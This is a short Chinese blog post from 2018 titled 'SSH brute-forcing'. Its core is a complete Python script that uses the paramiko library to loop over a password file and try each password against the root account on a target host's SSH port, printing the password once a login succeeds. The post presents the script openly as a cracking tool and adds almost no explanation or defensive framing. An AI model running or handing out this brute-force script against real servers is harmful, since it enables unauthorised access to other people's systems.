ssh爆破篇

使用pramiko模块

代码图:

import paramiko
import sys
import time
def cont():
  b=open(sys.argv[1],'r').read().split('\n')
  for pwd in b:
    try:
      client=paramiko.SSHClient()
      client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
      client.connect(sys.argv[2],22,username='root',password=pwd,timeout=4)
      stdin, stdout, stderr=client.exec_command('echo 爆破成功')
      for std in stdout.readlines():
        print(std)
      client.close()
      print('[+]密码正确')
      print('[!]密码是:',pwd)
      exit()
    except Exception as e:
      print('[-]密码错误',pwd,e)
cont()

  运行截图:

 

posted on 2018-01-14 00:18  东京$  阅读(1112)  评论(0编辑  收藏  举报

导航